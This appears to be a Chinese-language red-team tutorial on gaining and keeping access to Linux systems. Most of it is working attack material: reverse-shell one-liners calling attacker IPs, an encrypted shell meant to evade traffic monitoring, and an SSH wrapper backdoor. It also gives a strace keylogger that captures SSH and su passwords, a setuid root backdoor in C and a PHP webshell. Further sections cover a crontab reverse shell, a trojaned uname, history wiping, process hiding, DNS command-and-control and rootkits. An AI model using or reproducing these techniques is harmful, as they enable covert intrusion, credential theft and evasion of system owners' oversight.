0X00 關于權限維持
什么是權限維持?
我們可以直接簡單的把權限維持理解為我們在目標上安裝了一個后門,權限維持的目的是保證自己的權限不會掉,一直控制住目標.
0X01 獲得初始權限
linux有很多種反彈shell的方法,反彈shell的好處主要是操作過程中會更加方便,對我個人來說,主要是命令補全,總之,從權限維持的角度來說,可以更好的去執行一些操作.
能否反彈shell,要根據目標的環境來嘗試,有可能bash無法直接反彈,但是Python卻可以成功,還要注意白名單問題.
實驗環境準備直接用Kali,記得做好快照.
Bash
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
bash -i 5<>/dev/tcp/host/port 0>&5 1>&5
參考資料: bash反彈shell原理解析 https://www.00theway.org/2017/07/11/bash%20%E5%8F%8D%E5%BC%B9shell/
Perl
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
URL-Encoded Perl: Linux
echo%20%27use%20Socket%3B%24i%3D%2210.11.0.245%22%3B%24p%3D443%3Bsocket%28S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname%28%22tcp%22%29%29%3Bif%28connect%28S%2Csockaddr_in%28%24p%2Cinet_aton%28%24i%29%29%29%29%7Bopen%28STDIN%2C%22%3E%26S%22%29%3Bopen%28STDOUT%2C%22%3E%26S%22%29%3Bopen%28STDERR%2C%22%3E%26S%22%29%3Bexec%28%22%2fbin%2fsh%20-i%22%29%3B%7D%3B%27%20%3E%20%2ftmp%2fpew%20%26%26%20%2fusr%2fbin%2fperl%20%2ftmp%2fpew
Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
php
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
Ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
Netcat without -e #1
mkfifo函數只是創建一個FIFO文件,要使用命名管道將其打開。
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 1234 > /tmp/f
Netcat without -e #2
nc localhost 443 | /bin/sh | nc localhost 444
telnet localhost 443 | /bin/sh | telnet localhost 444
JAVA
r = Runtime.getRuntime(); p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[]); p.waitFor();
Xterm
xterm -display 10.0.0.1:1
Exec
0<&196;exec 196<>/dev/tcp/<your_vps>/1024; sh <&196 >&196 2>&196
思考:假設滲透過程中,發現目標環境無法反彈shell,最后測試得出只開放了80和443.通過白名單反彈shell時又發現流量被攔截了,如何應對這種情況?
可以嘗試通過加密數據包的方式來逃避流量監控設備.
第一步: 在VPS 上生成 SSL 證書的公鑰/私鑰對:
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
第二步: VPS 堅挺反彈 shell:
openssl s_server -quiet -key key.pem -cert cert.pem -port 443
第三步: 連接:
mkfifo /tmp/wing;/bin/bash -i < /tmp/wing 2>&1 |openssl s_client -quiet -connect 1.1.1.1:443 > /tmp/wing
獲得shell
但這時你會發現,這個shell不太好用,沒有基本的命令補全.
解決方法:
python -c 'import pty; pty.spawn("/bin/bash")'
pty是一個偽終端模塊
pty.spawn(argv[, master_read[, stdin_read]])
產生一個進程,并將其控制終端與當前進程的標準io連接。這通常用于阻擋堅持從控制終端讀取的程序。
函數 master_read 和 stdin_read 應該是從文件描述符讀取的函數。默認值嘗試在每次調用時讀取1024字節。
在 3.4 版更改: spawn() 現在從子進程的 os.waitpid() 返回狀態值
有時候提權以后終端也是會出現類似問題,一般這個方法可以解決.
或者參考后面的鏈接
socat
socat file:`tty`,raw,echo=0 tcp-listen:9999
把socat上傳到目標機器上,然后執行:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:111.111.111.111:9999
也可以得到一個交互式shell
知識點來源于
將簡單的shell升級為完全交互式的TTY https://www.4hou.com/technology/6248.html
全程帶阻:記一次授權網絡攻防演練(下) https://www.freebuf.com/vuls/211847.html
0X02 權限維持技術
SSH后門
SSH軟連接
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;
建立一個軟連接,然后通過5555端口訪問ssh服務
正常的登陸功能
添加用戶
useradd wing -p wing
ssh連接時密碼任意輸入,kali測試時,root也可以。
具體原理見Linux的一個后門引發對PAM的探究
SSH WrApper
Exploit:
cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart
然后連接:
socat STDIO TCP4:target_ip:22,sourceport=13377
原理:
init首先啟動的是/usr/sbin/sshd,腳本執行到getpeername這里的時候,正則匹配會失敗,于是執行下一句,啟動/usr/bin/sshd,這是原始sshd。原始的sshd監聽端口建立了tcp連接后,會fork一個子進程處理具體工作。這個子進程,沒有什么檢驗,而是直接執行系統默認的位置的/usr/sbin/sshd,這樣子控制權又回到腳本了。此時子進程標準輸入輸出已被重定向到套接字,getpeername能真的獲取到客戶端的TCP源端口,如果是19526就執行sh給個shell。 來自https://www.anquanke.com/post/id/155943#h2-9
SSH key的寫入
本地先生成ssh key
ssh-keygen -t rsa
再把公鑰id_rsa.pub發送到目標上
同時賦予權限,但是權限不能過大。
chmod 600 ~/.ssh/authorized_keys
chmod 700 ~/.ssh
SSH keylogger
在當前用戶配置文件末尾添加
alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'
Openssh Rookit
需要安裝環境依賴,可用性不是很高,參考利用Openssh后門 劫持root密碼
SSH隱身登錄
隱身登錄 隱身登錄系統,不會被last who w等指令檢測到
ssh -T username@host /bin/bash -i
ssh -o UserKnownHostsFile=/dev/null -T user@host
/bin/bash -if
Linux隱藏技術
簡單的隱藏文件
touch .wing.py
可以找一些目錄隱藏自己的惡意文件
隱藏權限
chattr命令可以給文件加鎖,防止被刪除,我們也可以將它利用起來
解說:
隱藏歷史操作命令
拿到shell以后,開始無痕模式,禁用命令歷史記錄功能。
set +o history
恢復
set -o history
history
可以看到恢復以后可以正常記錄歷史命令
刪除自己的歷史命令
刪除指定的歷史記錄
sed -i "100,$d" .bash_history
刪除100行以后的操作命令
demo
端口復用
通過SSLH在同一端口上共享SSH與HTTPS
Linux上在同一端口上共享SSH與HTTPS的工具:SSLH
安裝SSLH
apt install sslh
配置SSLH
編輯 SSLH 配置文件:
sudo vi /etc/default/sslh
1、找到下列行:Run=no 將其修改為:Run=yes
2、修改以下行以允許 SSLH 在所有可用接口上偵聽端口 443
DAEMON_OPTS="--user sslh --listen 0.0.0.0:443 --ssh 127.0.0.1:22 --ssl 127.0.0.1:443 --pidfile /var/run/sslh/sslh.pid"
service sslh start
測試:
環境是Docker,444對應的是靶機的443 測試成功
iptables
# 端口復用鏈
iptables -t nat -N LETMEIN
# 端口復用規則
iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22
# 開啟開關
iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT
# 關閉開關
iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT
# let's do it
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN
exploit
TIPS:docker測試的時候
docker run -ti --privileged ubuntu:latest
--privileged這個參數一定要加上
#開啟復用
echo threathuntercoming | socat - tcp:192.168.19.170:80
#ssh使用80端口進行登錄
ssh -p 80 root@192.168.19.170:
#關閉復用
echo threathunterleaving | socat - tcp:192.168.19.170:80
另外還有icmp的利用方式 原文在 遠程遙控 IPTables 進行端口復用 https://www.freebuf.com/articles/network/137683.html
隱藏進程
libprocesshider
github上的一個項目,項目地址 https://github.com/gianlucaborello/libprocesshider
利用 LD_PRELOAD 來實現系統函數的劫持,實現如下:
# 下載程序編譯
git clone https://github.com/gianlucaborello/libprocesshider.git
apt-get install gcc automake autoconf libtool make
cd libprocesshider/ && make
# 移動文件到/usr/local/lib/目錄下
cp libprocesshider.so /usr/local/lib/
# 把它加載到全局動態連接局
echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload或者export LD_PRELOAD=/usr/local/lib/libprocesshider.so
運行
效果
具體的進程名字,自己可以在c文件里面設置
克制它的工具
unhide proc
linux-inject
linux-inject是用于將共享對象注入Linux進程的工具
項目地址: https://github.com/gaffe23/linux-inject.git
# 下載程序編譯
git clone https://github.com/gaffe23/linux-inject.git
cd linux-inject && make
# 測試進程
./sample-target
# 進程注入
./inject -n sample-target sample-library.so
先編譯自己定義的c文件 安裝依賴包
sudo apt-get purge libc6-dev
sudo apt-get install libc6-dev
sudo apt-get install libc6-dev-i386
sudo apt-get install clang
#include <stdio.h>
__attribute__((constructor))void hello() { puts("Hello world!");}
生成so文件
gcc -shared -fPIC -o libwing.so hello.c
先執行測試的文件
然后注入自定義的so文件
注入成功。
Vegile
在linux下執行某個可執行文件之前,系統會預先加載用戶定義的動態鏈接庫的一種技術,這個技術可以重寫系統的庫函數,導致發生Hijack。
Vegile是一個用來隱藏自己的進程的工具,即使進程被殺,又會重新啟動。
先生成一個msf后門
msfvenom -a x64 --platform linux -p linux/x64/shell/reverse_tcp LHOST=149.129.72.186 LPORT=8000 -f elf -o /var/www/html/Wing_Backdoor2
msf開啟監聽
執行
第一種是進程注入的方式 第二種是進程被殺還可以繼續反彈shell
由于依賴的原因,第二種有點小bug
測試成功。
Cymothoa
Cymothoa是一個輕量級的后門,也是使用進程注入的方法。
下載地址: https://sourceforge.net/projects/cymothoa/files/latest/download
編譯好的地址 https://github.com/BlackArch/cymothoa-bin
使用方法
./cymothoa -S
查看可用的shellcode
只要反彈shell的功能,0即可
查找到bash的pid,因為bash進程一般都是存在的
./cymothoa -p pid -s 1 -y port
不太可控,我在kali測試會把進程弄死掉,實際環境不建議使用。
然后我msf的窗口就卡死了 成功的話nc可以直接連接自定義的端口,跟環境有關系。
Setuid and Setgid
setuid: 設置使文件在執行階段具有文件所有者的權限. 典型的文件是 /usr/bin/passwd. 如果一般用戶執行該文件, 則在執行過程中, 該文件可以獲得root權限, 從而可以更改用戶的密碼.
setgid: 該權限只對目錄有效. 目錄被設置該位后, 任何用戶在此目錄下創建的文件都具有和該目錄所屬的組相同的組.
sticky bit: 該位可以理解為防刪除位. 一個文件是否可以被某用戶刪除, 主要取決于該文件所屬的組是否對該用戶具有寫權限. 如果沒有寫權限, 則這個目錄下的所有文件都不能被刪除, 同時也不能添加新的文件. 如果希望用戶能夠添加文件但同時不能刪除文件, 則可以對文件使用sticky bit位. 設置該位后, 就算用戶對目錄具有寫權限, 也不能刪除該文件.
眾所周知,Linux的文件權限如: 777;666等,其實只要在相應的文件上加上UID的權限,就可以用到加權限人的身份去運行這個文件。所以我們只需要將bash復制出來到另一個地方, 然后用root加上UID權限,只要用戶運行此Shell就可以用用root的身份來執行任何文件了。
寫一個簡單的后門: backdoor.c
#include <unistd.h>
void main(int argc, char *argv[])
{
setuid(0);
setgid(0);
if(argc > 1)
execl("/bin/sh", "sh", "-c", argv[1], NULL);
else
execl("/bin/sh", "sh", NULL);
}
編譯:
gcc backdoor.c -o backdoor
cp backdoor /bin/
chmod u+s /bin/backdoor
wing權限執行backdoor
inetd后門
inetd是監視一些網絡請求的守護進程,其根據網絡請求來調用相應的服務進程來處理連接請求。 它可以為多種服務管理連接,當inetd 接到連接時,它能夠確定連接所需的程序,啟動相應的進程,并把socket 交給它(服務socket 會作為程序的標準輸入、 輸出和錯誤輸出描述符)。
安裝
apt-get install openbsd-inetd
用系統自帶的服務
配置后門
# vi /etc/inetd.conf
fido stream tcp nowait root /bin/bash bash -i # 當外部請求名為fido的服務時就彈shell
inetd
nc連接
參考:基于 inetd 后門的簡要分析及利用
添加后門賬戶
生成密碼
perl -e 'print crypt("wing", "AA"). "n"'
直接添加到passwd
echo "weblogic1:AAyx65VrBb.fI:0:0:root:/root:/bin/bash">>/etc/passwd
容易被檢測出來,還不如直接ssh key
ICMP后門
項目地址:https://github.com/andreafabrizi/prism 編譯
Android平臺:
apt-get install gcc-arm-linux-gnueabi
arm-linux-gnueabi-gcc -DSTATIC -DDETACH -DNORENAME -static -march=armv5 prism.c -o prism
Linux 64bit:
apt-get install libc6-dev-amd64
gcc -DDETACH -m64 -Wall -s -o prism prism.c
Linux 32bit:
apt-get install libc6-dev-i386
gcc -DDETACH -m32 -Wall -s -o prism prism.c
查看信息:
攻擊機上等待后門連接
nc -l -p 9999
發包觸發后門
DNS后門
項目地址:https://github.com/iagox86/dnscat2
即使在最苛刻環境下,目標肯定也會允許DNS去解析外部或者內部的domain。 這就可以作為一個C2通道。command和數據夾雜在DNS查詢和響應頭中,所以檢測起來很困難,因為命令都隱藏在正常的流量里面。
我們使用dnscat2來實現
我mac上安裝有問題,煩得很,環境麻煩,kali了。 算了,還是主機吧,困。。。 server里面要換源,建議直接指定gemfile里面的源是https://gems.ruby-china.com/
我的配置:
# Gemfile
# By Ron Bowes
#
# See LICENSE.md
source 'https://gems.ruby-china.com/'
gem 'trollop' # Commandline parsing
gem 'salsa20' # Encrypted connections
gem 'sha3' # Message signing + key derivation
gem 'ecdsa' # Used for ECDH key exchange
$ gem install bundler
$ bundle install
啟動這玩意。
sudo ruby dnscat2.rb --dns "domain=attck.me,host=192.168.123.192" --no-cache
然后把控制端編譯好,直接make
./dnscat --dns server=192.168.123.192
這邊主機運行
session -i 1
我來抓包看看怎么通信的。
所有命令將通過DNS流量傳輸
我們試下powershell版本的dnscat: https://github.com/lukebaggett/dnscat2-powershell
Start-Dnscat2 -Domain attck.me -DNSServer 192.168.123.192
已經上線了
然后新開一個交互式shell
結論 使用dnscat2有各種優點: 支持多個會話 流量加密 使用密鑰保護MiTM攻擊 直接從內存運行PowerShell腳本
VIM后門
先構造一個惡意腳本 wing.py
from socket import *
import subprocess
import os, threading, sys, time
if __name__ == "__main__":
server=socket(AF_INET,SOCK_STREAM)
server.bind(('0.0.0.0',666))
server.listen(5)
print 'waiting for connect'
talk, addr = server.accept()
print 'connect from',addr
proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk,
stdout=talk, stderr=talk, shell=True)
前提條件就是VIM安裝了python擴展,默認安裝的話都有python擴展.
腳本可以放到python的擴展目錄
$(nohup vim -E -c "py3file wing.py"> /dev/null 2>&1 &) && sleep 2 && rm -f wing.py
在后臺看得到vim的進程,但是看不到python的進程.
原理參考:https://github.com/jaredestroud/WOTD
PAM后門
PAM (Pluggable AuthenticationModules )是由Sun提出的一種認證機制。
它通過提供一些動態鏈接庫和一套統一的API,將系統提供的服務和該服務的認證方式分開,使得系統管理員可以靈活地根據需要給不同的服務配置不同的認證方式而無需更改服務程序,同時也便于向系統中添加新的認證手段。
項目地址:https://github.com/litsand/shell 這是一個自動化腳本
比較適用于centos,測試環境是ubuntu,暫時不復現.
r后門
echo -e "<?=`$_POST[wing]`?>r<?='Wing ';?>" >/var/www/html/wing.php
加了-e r參數之后直接查看源碼,只顯示后半部分
strace后門
strace常用來跟蹤進程執行時的系統調用和所接收的信號。 在Linux世界,進程不能直接訪問硬件設備,當進程需要訪問硬件設備(比如讀取磁盤文件,接收網絡數據等等)時,必須由用戶態模式切換至內核態模式,通 過系統調用訪問硬件設備。strace可以跟蹤到一個進程產生的系統調用,包括參數,返回值,執行消耗的時間。
ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log
-e read,write,connect -s2048 ssh'
這個也類似于alias后門
docker測試的時候加 --privileged參數
同理可以記錄其他命令
su='strace -o /tmp/sulog-`date '+%d%h%m%s'`.log
-e read,write,connect -s2048 su'
Tiny shell
項目地址:https://github.com/orangetw/tsh
在linux下編譯
./compile.sh linux 149.129.72.186 1234 wing 22
參數代表的意思如下
usage:
compile.sh os BC_HOST BC_PORT [PASSword] [BC_DELAY]
compile.sh os 8.8.8.8 8081
compile.sh os 8.8.8.8 8081 mypassword 60
Please specify one of these targets:
compile.sh linux
compile.sh freebsd
compile.sh openbsd
compile.sh netbsd
compile.sh cygwin
compile.sh sunos
compile.sh irix
compile.sh hpux
compile.sh osf
成功以后會生成tsh和tshd文件 分別表示控制端和服務端 在目標上運行
umask 077; HOME=/var/tmp ./tshd
在攻擊機器上運行
tsh targetip
可以得到一個shell. 除此之外,還可以上傳和下載文件.
反彈的形式
瀏覽器插件后門
項目地址:https://github.com/graniet/chromebackdoor
我花了很多時間來測試這個項目,目前還沒成功,不知道是不是瀏覽器有限制.
Local Job Scheduling
crontab
測試環境:mac 定時反彈shell
(crontab -l;printf "*/1 * * * * /usr/bin/nc 30.157.170.75 1389 /bin/sh;rno crontab for `whoami`%100cn")|crontab -
other backdoor
項目地址:https://github.com/iamckn/backdoors 一些進程隱藏技術,然后反彈shell.
用uname做一個演示
uname.sh
#uname
#-------------------------
touch /usr/local/bin/uname
cat <<EOF >> /usr/local/bin/uname
#!/bin/bash
#nc.traditional -l -v -p 4444 -e /bin/bash 2>/dev/null &
#socat TCP4-Listen:3177,fork EXEC:/bin/bash 2>/dev/null &
socat SCTP-Listen:1177,fork EXEC:/bin/bash 2>/dev/null &
#perl -MIO -e'$s=new IO::Socket::INET(LocalPort=>1337,Listen=>1);while($c=$s->accept()){$_=<$c>;print $c `$_`;}' 2>/dev/null &
/bin/uname $@
EOF
里面的反彈shell命令自己替換
0x03 Rookit
Rookit是什么
在懸念迭起的中外諜戰片里,對戰雙方中的一派勢力通常會派遣特工人員潛伏到對手陣營中。這名臥底人員良好的偽裝使得對手對此長時間毫無察覺;為了能夠長期潛伏他不貿然采取高風險行為以免過早暴露自己;他贏得敵人的信任并因此身居要職,這使得他能夠源源不斷地獲取重要情報并利用其獨特渠道傳送回去。
從某種意義上說這位不速之客就是Rootkit——持久并毫無察覺地駐留在目標計算機中,對系統進行操縱、并通過隱秘渠道收集數據的程序。Rootkit的三要素就是:隱藏、操縱、收集數據。
“Rootkit”中root術語來自于unix領域。由于unix主機系統管理員賬號為root賬號,該賬號擁有最小的安全限制,完全控制主機并擁有了管理員權限被稱為“root”了這臺電腦。然而能夠“root”一臺主機并不意味著能持續地控制它,因為管理員完全可能發現了主機遭受入侵并采取清理措施。因此Rootkit的初始含義就在于“能維持root權限的一套工具”。
簡單地說,Rootkit是一種特殊的惡意軟件,它的功能是在安裝目標上隱藏自身及指定的文件、進程和網絡鏈接等信息,比較多見到的是Rootkit一般都和木馬、后門等其他惡意程序結合使用。Rootkit通過加載特殊的驅動,修改系統內核,進而達到隱藏信息的目的。
一個典型rootkit包括:
• 1 以太網嗅探器程序,用于獲得網絡上傳輸的用戶名和密碼等信息。
• 2 特洛伊木馬程序,例如:inetd或者login,為攻擊者提供后門。
• 3 隱藏攻擊者的目錄和進程的程序,例如:ps、netstat、rshd和ls等。
• 4 可能還包括一些日志清理工具,例如:zap、zap2或者z2,攻擊者使用這些清理工具刪除wtmp、utmp和lastlog等日志文件中有關自己行蹤的條目。
• 一些復雜的rootkit還可以向攻擊者提供telnet、shell和finger等服務。
應用級rootkit
應用級rookit的主要特點是通過批量替換系統命令來實現隱藏,如替換ls、ps和netstat等命令來隱藏文件、進程和網絡連接等,有時會有守護進程來保證后門的穩定性。推薦兩款常用的木馬:mafix和brookit。 應用級的比較容易清掉,最麻煩的是內核級和硬件級的.
內核級rookit
通過加載內核模塊的方式來加載后門,比較復雜。一般內核后門都是針對操作系統而言的,不同的操作系統內核模塊設置編寫方法都不一樣,一般不通用。內核后門一般無法通過md5校驗等來判斷,所以基本比較難發現,目前針對內核后門比較多的是Linux和Solaris下。
硬件級后門
這個就是廠商的板子里面就有后門,比如cpu處理器,主板,鼠標,等等.
demo:我找的這個是應該是內核rookit的例子,其他經典內核的可以看下這兩個:
https://github.com/David-Reguera-Garcia-Dreg/enyelkm https://github.com/yaoyumeng/adore-ng
Reptile
測試環境:kali
項目地址:https://github.com/f0rb1dd3n/Reptile
安裝:
emmmm 環境炸了.kali得重裝 使用教程參考如下 https://www.notion.so/redteamwing/Reptile-LKM-Linux-rootkit-153c8daa25244ce69461d1515375e8cc
原文地址:https://xz.aliyun.com/t/7338